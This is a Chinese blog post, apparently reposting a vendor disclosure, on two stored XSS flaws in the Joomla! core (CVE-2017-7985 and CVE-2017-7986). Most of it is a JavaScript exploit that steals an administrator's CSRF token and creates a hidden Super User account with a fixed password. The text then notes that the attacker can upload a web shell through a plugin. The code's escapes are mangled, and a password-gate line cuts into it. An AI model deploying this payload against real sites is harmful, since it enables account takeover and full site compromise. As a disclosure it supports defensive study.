多个Joomla! 核心XSS漏洞

  • A+
所属分类:颓废's Blog
摘要

废话不多说   直接切入正题 CVE-2017-7985 Joomla! 服务器端XSS过滤器对危险代码进行灭菌并保存安全字符。 例如,当我们使用测试帐户发布以下代码时,  的Joomla! 用双引号对其进行灭菌  ,删除  并添加到URL的安全链接

废话不多说   直接切入正题

CVE-2017-7985

Joomla! 服务器端XSS过滤器对危险代码进行灭菌并保存安全字符。 例如,当我们使用测试帐户发布以下代码时,  的Joomla! 用双引号对其进行灭菌  ,删除  并添加到URL的安全链接

多个Joomla! 核心XSS漏洞

但是攻击者可以通过尝试使过滤器重构代码并重建脚本来利用该过滤器。 例如,我们可以添加代码 请注意,双引号  是正确的双引号

多个Joomla! 核心XSS漏洞

当受害者访问该帖子时,无论是否发布,插入的XSS代码将在主页面和管理员页面中触发

多个Joomla! 核心XSS漏洞
多个Joomla! 核心XSS漏洞

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

CVE-2017-7986

发布文章时,攻击者可以绕过HTML中的XSS过滤器  通过更改脚本来标记  至  ,因为  是HTML格式的标记“:”。 然后,攻击者可以通过添加一个脚本来触发此脚本代码  标签。 例如,攻击者可以在文章中插入以下代码 

多个Joomla! 核心XSS漏洞

当受害者访问该帖子时,无论是否发布,并单击“单击我”按钮,插入的XSS代码将在主页面和管理员页面中触发

多个Joomla! 核心XSS漏洞

多个Joomla! 核心XSS漏洞

利用

在这里,我提供了一个CVE-2017-7986的漏洞利用示例,允许具有低权限帐户的攻击者创建一个超级用户帐户并上传一个Web shell。 为了实现这一点,我将使用站点管理员的许可,编写一小段JavaScript代码来创建一个超级用户帐户。 它首先从用户编辑页面获取CSRF令牌  ,然后将超级用户帐户创建请求发布到具有被盗的CSRF令牌的服务器。 新的超级用户将是“Fortinet Yzy”,密码为“test”。

var request = new XMLHttpRequest();
var req = new XMLHttpRequest();
var id = '';
var boundary = Math.random().toString().substr(2);
var space = "-----------------------------";

request.open('GET', 'index.php?option=com_users&view=user&layout=edit', true);
request.onload = function() {
    if (request.status >= 200 && request.status < 400) {
        var resp = request.responseText;
        var myRegex = /<input type="hidden" name="([a-z0-9]+)" value="1" //>/;
        id = myRegex.exec(resp)[1];
        req.open('POST', 'index.php?option=com_users&layout=edit&id=0', true);
        req.setRequestHeader("content-type", "multipart/form-data; boundary=---------------------------" + boundary);
        var multipart = space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[name]/"" +
            "/r/n/r/nFortinet Yzy/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[username]/"" +
            "/r/n/r/nfortinetyzy/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform

输入密码查看加密内容:

/"" +
            "/r/n/r/ntest/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[password2]/"" +
            "/r/n/r/ntest/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[email]/"" +
            "/r/n/r/[email protected]/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[registerDate]/"" +
            "/r/n/r/n/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[lastvisitDate]/"" +
            "/r/n/r/n/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[lastResetTime]/"" +
            "/r/n/r/n/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[resetCount]/"" +
            "/r/n/r/n0/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[sendEmail]/"" +
            "/r/n/r/n0/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[block]/"" +
            "/r/n/r/n0/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[requireReset]/"" +
            "/r/n/r/n0/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[id]/"" +
            "/r/n/r/n0/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[groups][]/"" +
            "/r/n/r/n8/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[params][admin_style]/"" +
            "/r/n/r/n/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[params][admin_language]/"" +
            "/r/n/r/n/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[params][language]/"" +
            "/r/n/r/n/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[params][editor]/"" +
            "/r/n/r/n/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[params][helpsite]/"" +
            "/r/n/r/n/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"jform[params][timezone]/"" +
            "/r/n/r/n/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"task/"" +
            "/r/n/r/nuser.apply/r/n" +
            space + boundary +
            "/r/nContent-Disposition: form-data; name=/"" + id + "/"" +
            "/r/n/r/n1/r/n" +
            space + boundary + "--/r/n";
        req.onload = function() {
            if (req.status >= 200 && req.status < 400) {
                var resp = req.responseText;
                console.log(resp);
            }
        };
        req.send(multipart);
    }
};

request.send();

攻击者可以将此代码添加到Joomla! 通过利用这个XSS漏洞

多个Joomla! 核心XSS漏洞

站点管理员在管理员页面中触发此XSS攻击后,将立即创建一个超级用户帐户

多个Joomla! 核心XSS漏洞
多个Joomla! 核心XSS漏洞

攻击者可以登录Joomla! 使用这个新的超级用户权限,并通过安装一个插件上传一个Web shell

多个Joomla! 核心XSS漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: